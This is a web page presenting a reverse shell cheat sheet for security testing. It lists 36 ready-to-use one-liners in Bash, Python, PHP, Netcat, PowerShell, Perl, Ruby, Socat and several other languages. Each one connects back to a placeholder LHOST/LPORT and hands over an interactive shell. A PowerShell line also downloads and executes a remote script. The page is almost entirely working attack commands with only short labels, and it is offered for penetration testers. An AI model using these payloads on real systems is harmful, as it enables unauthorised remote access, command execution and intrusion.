Reverse Shell Cheat Sheet

Reverse shell one-liners for Bash, Python, PHP, Perl, Ruby, Netcat, PowerShell, and more. (36 payloads)

Bash

(5)

bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Interactive bash reverse shell

bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

Bash -c wrapper

0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196

File descriptor redirect

/bin/bash -l > /dev/tcp/LHOST/LPORT 0<&1 2>&1

exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done

Exec with read loop

Python

(4)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 2 reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 3 reverse shell

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Python 3 with PTY (fully interactive)

export RHOST="LHOST";export RPORT=LPORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python 3 with env vars

PHP

(5)

php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP exec reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

PHP proc_open reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

PHP shell_exec reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);passthru("/bin/sh -i <&3 >&3 2>&3");'

PHP passthru reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/sh -i <&3 >&3 2>&3");'

PHP system reverse shell

Netcat

(7)

nc -e /bin/sh LHOST LPORT

Netcat with -e flag

nc -e /bin/bash LHOST LPORT

Netcat with bash

nc -c bash LHOST LPORT

Netcat with -c flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f

Netcat without -e (mkfifo)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f

Netcat mkfifo with bash

ncat LHOST LPORT -e /bin/bash

Ncat (nmap) reverse shell

ncat --ssl LHOST LPORT -e /bin/bash

Ncat SSL encrypted reverse shell

PowerShell

(3)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Full PowerShell reverse shell

powershell IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')

Download and execute PowerShell script

powershell -enc <Base64EncodedCommand>

Base64 encoded command (use encoding pipeline)

Perl

(2)

perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl socket reverse shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl IO module reverse shell

Ruby

(2)

ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby socket reverse shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'

Ruby fork reverse shell

Socat

(3)

socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

Socat fully interactive TTY

socat tcp-connect:LHOST:LPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane

Socat PTY reverse shell

socat tcp-connect:LHOST:LPORT exec:"bash -li",pty,stderr,setsid,sigint,sane

Socat bash interactive

Other Languages

(5)

lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Lua reverse shell

awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

AWK reverse shell

require('child_process').exec('nc -e /bin/sh LHOST LPORT')

Node.js exec reverse shell

(function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(LPORT,'LHOST',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()

Node.js full reverse shell

groovy -e 'String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close();'

Groovy reverse shell

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

Reverse Shell Command Injection

Related Cheat Sheets

Command Injection Cheat Sheet LFI / Path Traversal Cheat Sheet

$loading...